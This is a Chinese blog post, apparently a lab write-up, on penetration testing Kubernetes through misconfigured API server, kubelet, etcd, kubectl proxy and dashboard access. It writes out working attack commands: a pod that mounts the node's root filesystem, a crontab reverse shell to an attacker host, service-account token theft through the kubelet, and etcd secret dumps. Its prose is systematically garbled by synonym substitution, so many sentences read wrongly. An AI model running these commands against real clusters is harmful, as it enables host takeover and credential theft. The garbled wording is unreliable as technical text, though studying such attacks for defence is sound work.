K8S云原生环境渗透学习

K8S云原生环境浸透学习

前言

​ Kubernetes,简称k8s,是当前主流的容器调度平台,被称为云原生时期的操作系统。在实践项目也经常发现厂商部署了运用k8s停止管理的云原生架构环境,在目前全面上云的趋向,有必要学习在k8s环境的下的一些攻击手法。

k8s用户

Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。

  • service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 自动创立,或者经过 API 调用手动创立。Service account 关联了一套凭证,存储在 Secret,这些凭证同时被挂载到 pod 中,从而允许 pod 与 kubernetes API 之间的调用。

  • Use Account(用户账号):普通是指由独立于Kubernetes之外的其他效劳管理的用 户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、以至是包 含有用户名和密码列表的文件等。Kubernetes中不存在表示此类用户账号的对象, 因而不能被直接添加进 Kubernetes 系统中 。

k8s访问控制过程

k8s 中一切的 api 恳求都要经过一个 gateway 也就是 apiserver 组件来完成,是集群独一的访问入口。 主要完成的功用就是api 的认证 + 鉴权以及准入控制。

三种机制:

  • 认证:Authentication,即身份认证。检查用户能否为合法用户,如客户端证书、密码、bootstrap tookens和JWT tokens等方式。
  • 鉴权:Authorization,即权限判别。判别该用户能否具有该操作的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式
  • 准入控制:Admission Control。恳求的最后一个步骤,普通用于拓展功用,如检查 pod 的resource能否配置,yaml配置的平安能否合规等。普通运用admission webhooks来完成

留意:认证受权过程只存在HTTPS方式的API中。也就是说,假如客户端运用HTTP衔接到kube-apiserver,是不会停止认证受权

k8s认证

X509 client certs

​ 客户端证书认证,X509 是一种数字证书的格式规范,是 kubernetes 中默许开启运用最多的一种,也是最平安的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只需是经过同一个 ca 签发的客户端 x509 证书,则以为是可信的客户端,kubeadm 装置集群时就是基于证书的认证方式。

user 生成 kubeconfig就是X509 client certs方式。

Service Account Tokens

​ 由于基于x509的认证方式相比照较复杂,不适用于k8s集群内部pod的管理。Service Account Tokens是 service account 运用的认证方式。定义一个 pod 应该具有什么权限。

service account 主要包含了三个内容:namespace、token 和 ca

  • namespace: 指定了 pod 所在的 namespace
  • token: token 用作身份考证
  • ca: ca 用于考证 apiserver 的证书

k8s鉴权

K8S 目前支持了如下四种受权机制:

  • Node
  • ABAC
  • RBAC
  • Webhook

详细到受权形式其实有六种:

  • 基于属性的访问控制(ABAC)形式允许你 运用本地文件配置战略。
  • 基于角色的访问控制(RBAC)形式允许你运用 Kubernetes API 创立和存储战略。
  • WebHook 是一种 HTTP 回调形式,允许你运用远程 REST 端点管理鉴权。
  • node节点鉴权是一种特殊用处的鉴权形式,特地对 kubelet 发出的 API 恳求执行鉴权。
  • AlwaysDeny阻止一切恳求。仅将此标志用于测试。
  • AlwaysAllow允许一切恳求。仅在你不需求 API 恳求 的鉴权时才运用此标志。

能够选择多个鉴权模块。模块按次第检查,以便较靠前的模块具有更高的优先级来允许 或回绝恳求。

从1.6版本起,Kubernetes 默许启用RBAC访问控制战略。从1.8开端,RBAC已作为稳定的功用。

想理解更多RBAC的内容能够参考:运用 RBAC 鉴权 | Kubernetes

实验环境

搭建环境运用3台centos 7,环境搭建能够参考:

https://segmentfault.com/a/1190000037682150

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

  • K8s-master 192.168.11.152

  • K8s-node1 192.168.11.153

  • K8s-node2 192.168.11.160

攻击机kali

  • 192.168.11.128

k8s环境中的信息搜集

​ 信息搜集与我们的攻击场景或者说进入的内网的起点分不开。普通来说内网不会完整基于容器技术停止构建。所以起点普通能够分为权限受限的容器和物理主机内网。

在K8s内部集群网络主要依托网络插件,目前运用比拟多的主要是Flannel和Calico

主要存在4品种型的通讯:

  • 同一Pod内的容器间通讯
  • 各Pod彼此间通讯
  • Pod与Service间的通讯
  • 集群外部的流量与Service间的通讯

当我们起点是一个在k8s集群内部权限受限的容器时,和常规内网浸透区别不大,上传端口扫描工具探测即可。

在k8s环境中,内网探测能够高度关注的端口:

kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080

k8s环境中的攻击方式

根本思绪

​ 和在域浸透里面不时横向寻觅域管凭据相似,在k8s环境里的根本思绪同样是寻觅高权限的凭据或者组件配置不当招致的未受权访问从而接收k8s集群。

运用 kubeconfig(即证书) 和 token 两种认证方式是最简单也最通用的认证方式。

  • K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的细致信息(API Server、登录凭证),默许的 kubeconfig 文件保管在 $HOME/.kube/config

  • service-account-tokens 是效劳账户的凭证(token),一个 pod 与一个效劳账户相关联,该效劳账户的凭证(token)被放入该pod中每个容器的文件系统树在/var/run/secrets/kubernetes.io/serviceaccount/token。

拿到管理凭据或者经过其他方式接收集权后根本操作:

  • 创立后门Pod/挂载主机途径–>经过Kubectl 进入容器 –>应用挂载目录逃逸

攻击8080端口

原理

​ 旧版本的k8s的API Server 默许会开启两个端口:8080 和 6443。6443是平安端口,平安端口运用TLS加密;但是8080 端口无需认证,仅用于测试。6443 端口需求认证,且有 TLS 维护。

新版本k8s默许曾经不开启8080。需求更改相应的配置

cd /etc/kubernetes/manifests/,修正api-kube.conf,添加

–insecure-port=8080
–insecure-bind-address=0.0.0.0

图片[1]-K8S云原生环境渗透学习-孤勇者社区
重启效劳

systemctl daemon-reload
systemctl restart kubelet

在实践环境中,由于8080端口相比照较常见,招致在内部排查常常疏忽这个风险点。

应用

直接访问 8080 端口会返回可用的 API 列表:

运用kubectl能够指定IP和端口调用存在未受权破绽的API Server。

假如没有kubectl,需求装置kubectl,装置能够参考官网文档:

  • 在 Linux 上装置 kubectl
  • 在 macOS 上装置 kubectl
  • 在 Windows 上装置 kubectl

运用kubectl获取集群信息:

kubectl -s ip:port get nodes

图片[2]-K8S云原生环境渗透学习-孤勇者社区
注:假如你的kubectl版本比效劳器的高,会呈现错误,需求把kubectl的版本降低.

接着在本机上新建个yaml文件用于创立容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

然后运用 kubectl 创立容器,这个时分我们发现是无法指定在哪个节点上创立pod。

kubectl -s 192.168.11.152:8080 create -f test.yaml
kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash

图片[3]-K8S云原生环境渗透学习-孤勇者社区
写入反弹 shell 的定时任务

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab

稍等一会取得node02节点权限:

图片[4]-K8S云原生环境渗透学习-孤勇者社区
或者也能够经过写公私钥的方式控制宿主机。

假如apiserver配置了dashboard的话,能够直接经过ui界面创立pod。

攻击6443端口

原理

6443端口的应用要经过API Server的鉴权,直接访问会提示匿名用户鉴权失败:

图片[5]-K8S云原生环境渗透学习-孤勇者社区
​ 在实践状况中,一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

应用

应用cdk工具经过"system:anonymous"匿名账号尝试登录

./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"

图片[6]-K8S云原生环境渗透学习-孤勇者社区
创立特权容器:

图片[7]-K8S云原生环境渗透学习-孤勇者社区
图片[8]-K8S云原生环境渗透学习-孤勇者社区
之后的攻击方式和上面是一样的

攻击10250端口

原理

Kubelet API 普通监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。

​ 10250是 kubelet API 的 HTTPS 端口,在默许状况下,kubelet 监听的 10250 端口没有停止任何认证鉴权,招致经过这个端口能够对 kubelet 节点上运转的 pod 停止任何操作。目前在k8s默许的平安配置下,Kubelet API是需求平安认证的。

​ 最常见的未受权访问普通是10255端口,但这个端口的应用价值偏低,只能读取到一些根本信息。

应用

  • 能够直接控制该node下的一切pod
  • 检索寻觅特权容器,获取 Token
  • 假如可以从pod获取高权限的token,则能够直接接收集群。

平安配置的Kubelet API需求认证,访问 https://192.168.11.160:10250/pods,页面将返回 401 Unauthorized

图片[9]-K8S云原生环境渗透学习-孤勇者社区
在node02节点上翻开配置文件/var/lib/kubelet/config.yaml

apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: false

默许是false,修正authentication的anonymous为true,将 authorization mode 修正为 AlwaysAllow,之后重启kubelet进程。

图片[10]-K8S云原生环境渗透学习-孤勇者社区
访问https://192.168.11.160:10250/pods,呈现如下数据表示能够应用:

图片[11]-K8S云原生环境渗透学习-孤勇者社区
新版的k8s认证方式authorization mode默许为webhook,需求 Kubelet 经过 Api Server 停止受权。这样只是将authentication的anonymous改为true也无法应用:

图片[12]-K8S云原生环境渗透学习-孤勇者社区
想要在容器里执行命令的话,我们需求首先肯定namespace、pod_name、container_name这几个参数来确认容器的位置。

  • metadata.namespace 下的值为 namespace
  • metadata.name下的值为 pod_name
  • spec.containers下的 name 值为 container_name

图片[13]-K8S云原生环境渗透学习-孤勇者社区
这里能够经过检索securityContext字段快速找到特权容器

​ 在对应的容器里执行命令,获取 Token,该token可用于Kubernetes API认证,Kubernetes默许运用RBAC鉴权(当运用kubectl命令时其实是底层经过证书认证的方式调用Kubernetes API)

token 默许保管在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token

curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

图片[14]-K8S云原生环境渗透学习-孤勇者社区
​ 假如挂载到集群内的token具有创立pod的权限,能够经过token访问集群的api创立特权容器,然后经过特权容器逃逸到宿主机,从而具有集群节点的权限

kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods

图片[15]-K8S云原生环境渗透学习-孤勇者社区
接下来便是经过创立pod来挂载目录,然后用crontab来取得shell了 。

攻击2379端口

原理

etcd组件默许监听2379端口:默许经过证书认证,主要寄存节点的信息,如一些token和证书。

kubernetes的master会自动装置etcd v3(留意版本)用来存储数据,假如管理员停止了错误的配置,招致etcd未受权访问的状况,那么攻击者就能够从etcd中拿到kubernetes的认证鉴权token,从而接收集群。

应用

​ etcd2和etcd3是不兼容的,两者的api参数也不一样。k8s如今运用的是etcd v3必需提供ca、key、cert,否则会呈现Error: context deadline exceeded。

运用官方提供的etcdctl直接用命令行即可访问etcd:

下载etcd:https://github.com/etcd-io/etcd/releases

解压后在命令行中进入etcd目录下。

etcdctl api版本切换:

export ETCDCTL_API=2
export ETCDCTL_API=3

探测能否存在未受权访问的Client API

etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only

图片[16]-K8S云原生环境渗透学习-孤勇者社区
默许状况下需求受权才干访问,带上证书访问:

etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health

查看k8s的secrets:

etcdctl get / --prefix --keys-only | grep /secrets/

读取service account token

etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

之后就经过token访问API-Server,获取集群的权限:

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

也能够尝试dump etcd数据库,然后去找敏感信息

ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only

假如效劳器启用了https,需求加上两个参数疏忽证书校验 –insecure-transport –insecure-skip-tls-verify

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only

Kubectl Proxy

原理

当运维人员需求某个环境暴露端口或者IP时,会用到Kubectl Proxy
运用kubectl proxy命令就能够使API server监听在本地的8009端口上:

应用

设置API server接纳一切主机的恳求:

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

图片[17]-K8S云原生环境渗透学习-孤勇者社区
之后就能够经过特定端口访问k8s集群

kubectl -s http://192.168.11.152:8009 get pods -n kube-system

Dashboard

原理

​ dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当招致dashboard未受权访问破绽的状况下,经过dashboard我们能够控制整个集群。

  • 用户开启了enable-skip-login时能够在登录界面点击Skip跳过登录进入dashboard.
  • 为Kubernetes-dashboard绑定cluster-admin(cluster-admin具有管理集群的最高权限).

应用

默许配置登陆是需求输入 Token 的且不能跳过

图片[18]-K8S云原生环境渗透学习-孤勇者社区
但是假如在配置参数中添加了如下参数,那么在登陆的过程中就能够停止跳过 Token 输入环节

- --enable-skip-login
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞6赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片